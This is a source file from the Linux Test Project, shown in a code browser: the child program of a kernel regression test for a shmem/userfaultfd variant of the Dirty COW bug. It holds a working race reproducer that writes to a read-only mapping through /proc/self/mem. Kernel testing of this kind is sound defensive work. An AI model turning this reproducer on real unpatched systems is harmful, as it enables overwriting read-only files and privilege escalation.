• Home
  • Line#
  • Scopes#
  • Navigate#
  • Raw
  • Download
1 // SPDX-License-Identifier: GPL-2.0-or-later
2 /*
3  * Copyright (C) 2022 Red Hat, Inc.
4  *  Based on original reproducer: https://seclists.org/oss-sec/2022/q3/128
5  */
6 
7 #include "config.h"
8 
9 #include <fcntl.h>
10 #include <pthread.h>
11 #include <unistd.h>
12 #include <sys/stat.h>
13 #include <string.h>
14 #include <stdlib.h>
15 #include <stdint.h>
16 #include <pwd.h>
17 #include <poll.h>
18 #include <unistd.h>
19 #include <sys/mman.h>
20 #include <sys/syscall.h>
21 #include <sys/ioctl.h>
22 
23 #define TST_NO_DEFAULT_MAIN
24 #include "tst_test.h"
25 #include "tst_safe_macros.h"
26 #include "tst_safe_pthread.h"
27 #include "lapi/userfaultfd.h"
28 
29 #define TMP_DIR "tmp_dirtyc0w_shmem"
30 #define TEST_FILE TMP_DIR"/testfile"
31 
32 static char *str = "m00000000000000000";
33 static void *map;
34 static int mem_fd;
35 static int uffd;
36 static size_t page_size;
37 
stress_thread_fn(void * arg)38 static void *stress_thread_fn(void *arg)
39 {
40 	while (1)
41 		/* Don't optimize the busy loop out. */
42 		asm volatile("" : "+r" (arg));
43 
44 	return NULL;
45 }
46 
discard_thread_fn(void * arg)47 static void *discard_thread_fn(void *arg)
48 {
49 	(void)arg;
50 
51 	while (1) {
52 		char tmp;
53 
54 		/*
55 		 * Zap that page first, such that we can trigger a new
56 		 * minor fault.
57 		 */
58 		madvise(map, page_size, MADV_DONTNEED);
59 		/*
60 		 * Touch the page to trigger a UFFD minor fault. The uffd
61 		 * thread will resolve the minor fault via a UFFDIO_CONTINUE.
62 		 */
63 		tmp = *((char *)map);
64 		/* Don't optimize the read out. */
65 		asm volatile("" : "+r" (tmp));
66 	}
67 
68 	return NULL;
69 }
70 
write_thread_fn(void * arg)71 static void *write_thread_fn(void *arg)
72 {
73 	(void)arg;
74 
75 	while (1)
76 		/*
77 		 * Ignore any errors -- errors mean that pwrite() would
78 		 * have to trigger a uffd fault and sleep, which the GUP
79 		 * variant doesn't support, so it fails with an I/O errror.
80 		 *
81 		 * Once we retry and are lucky to already find the placed
82 		 * page via UFFDIO_CONTINUE (from the other threads), we get
83 		 * no error.
84 		 */
85 		pwrite(mem_fd, str, strlen(str), (uintptr_t) map);
86 
87 	return NULL;
88 }
89 
uffd_thread_fn(void * arg)90 static void *uffd_thread_fn(void *arg)
91 {
92 	static struct uffd_msg msg;
93 	struct uffdio_continue uffdio;
94 	struct uffdio_range uffdio_wake;
95 
96 	(void)arg;
97 
98 	while (1) {
99 		struct pollfd pollfd;
100 		int nready, nread;
101 
102 		pollfd.fd = uffd;
103 		pollfd.events = POLLIN;
104 		nready = poll(&pollfd, 1, -1);
105 		if (nready < 0)
106 			tst_brk(TBROK | TERRNO, "Error on poll");
107 
108 		nread = read(uffd, &msg, sizeof(msg));
109 		if (nread <= 0)
110 			continue;
111 
112 		uffdio.range.start = (unsigned long) map;
113 		uffdio.range.len = page_size;
114 		uffdio.mode = 0;
115 		if (ioctl(uffd, UFFDIO_CONTINUE, &uffdio) < 0) {
116 			if (errno == EEXIST) {
117 				uffdio_wake.start = (unsigned long) map;
118 				uffdio_wake.len = page_size;
119 				SAFE_IOCTL(uffd, UFFDIO_WAKE, &uffdio_wake);
120 			}
121 		}
122 	}
123 
124 	return NULL;
125 }
126 
setup_uffd(void)127 static void setup_uffd(void)
128 {
129 	struct uffdio_register uffdio_register;
130 	struct uffdio_api uffdio_api;
131 	int flags = O_CLOEXEC | O_NONBLOCK;
132 
133 retry:
134 	TEST(tst_syscall(__NR_userfaultfd, flags));
135 	if (TST_RET < 0) {
136 		if (TST_ERR == EPERM) {
137 			if (!(flags & UFFD_USER_MODE_ONLY)) {
138 				flags |= UFFD_USER_MODE_ONLY;
139 				goto retry;
140 			}
141 		}
142 		tst_brk(TBROK | TTERRNO,
143 			"Could not create userfault file descriptor");
144 	}
145 	uffd = TST_RET;
146 
147 	uffdio_api.api = UFFD_API;
148 	uffdio_api.features = UFFD_FEATURE_MINOR_SHMEM;
149 	TEST(ioctl(uffd, UFFDIO_API, &uffdio_api));
150 	if (TST_RET < 0) {
151 		if (TST_ERR == EINVAL) {
152 			tst_brk(TCONF,
153 				"System does not have userfaultfd minor fault support for shmem");
154 		}
155 		tst_brk(TBROK | TTERRNO,
156 			"Could not create userfault file descriptor");
157 	}
158 
159 	if (!(uffdio_api.features & UFFD_FEATURE_MINOR_SHMEM))
160 		tst_brk(TCONF, "System does not have userfaultfd minor fault support for shmem");
161 
162 	uffdio_register.range.start = (unsigned long) map;
163 	uffdio_register.range.len = page_size;
164 	uffdio_register.mode = UFFDIO_REGISTER_MODE_MINOR;
165 	SAFE_IOCTL(uffd, UFFDIO_REGISTER, &uffdio_register);
166 }
167 
sighandler(int sig)168 static void sighandler(int sig)
169 {
170 	(void) sig;
171 
172 	_exit(0);
173 }
174 
main(void)175 int main(void)
176 {
177 	pthread_t thread1, thread2, thread3, *stress_threads;
178 	int fd, i, num_cpus;
179 	struct stat st;
180 
181 	tst_reinit();
182 
183 	SAFE_SIGNAL(SIGUSR1, sighandler);
184 
185 	page_size = getpagesize();
186 	num_cpus = sysconf(_SC_NPROCESSORS_ONLN);
187 
188 	/* Create some threads that stress all CPUs to make the race easier to reproduce. */
189 	stress_threads = malloc(sizeof(*stress_threads) * num_cpus * 2);
190 	for (i = 0; i < num_cpus * 2; i++)
191 		pthread_create(stress_threads + i, NULL, stress_thread_fn, NULL);
192 
193 	TST_CHECKPOINT_WAKE(0);
194 
195 	fd = SAFE_OPEN(TEST_FILE, O_RDONLY);
196 	SAFE_FSTAT(fd, &st);
197 
198 	/*
199 	 * We need a read-only private mapping of the file. Ordinary write-access
200 	 * via the page tables is impossible, however, we can still perform a
201 	 * write access that bypasses missing PROT_WRITE permissions using ptrace
202 	 * (/proc/self/mem). Such a write access is supposed to properly replace
203 	 * the pagecache page by a private copy first (break COW), such that we are
204 	 * never able to modify the pagecache page.
205 	 *
206 	 * We want the following sequence to trigger. Assuming the pagecache page is
207 	 * mapped R/O already (e.g., due to previous action from Thread 1):
208 	 * Thread 2: pwrite() [start]
209 	 *  -> Trigger write fault, replace mapped page by anonymous page
210 	 *  -> COW was broken, remember FOLL_COW
211 	 * Thread 1: madvise(map, 4096, MADV_DONTNEED);
212 	 *  -> Discard anonymous page
213 	 * Thread 1: tmp += *((int *)map);
214 	 *  -> Trigger a minor uffd fault
215 	 * Thread 3: ioctl(uffd, UFFDIO_CONTINUE
216 	 *  -> Resolve minor uffd fault via UFFDIO_CONTINUE
217 	 *  -> Map shared page R/O but set it dirty
218 	 * Thread 2: pwrite() [continue]
219 	 *  -> Find R/O mapped page that's dirty and FOLL_COW being set
220 	 *  -> Modify shared page R/O because we don't break COW (again)
221 	 */
222 	map = SAFE_MMAP(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
223 	mem_fd = SAFE_OPEN("/proc/self/mem", O_RDWR);
224 
225 	setup_uffd();
226 
227 	SAFE_PTHREAD_CREATE(&thread1, NULL, discard_thread_fn, NULL);
228 	SAFE_PTHREAD_CREATE(&thread2, NULL, write_thread_fn, NULL);
229 	SAFE_PTHREAD_CREATE(&thread3, NULL, uffd_thread_fn, NULL);
230 
231 	pause();
232 
233 	return 0;
234 }
235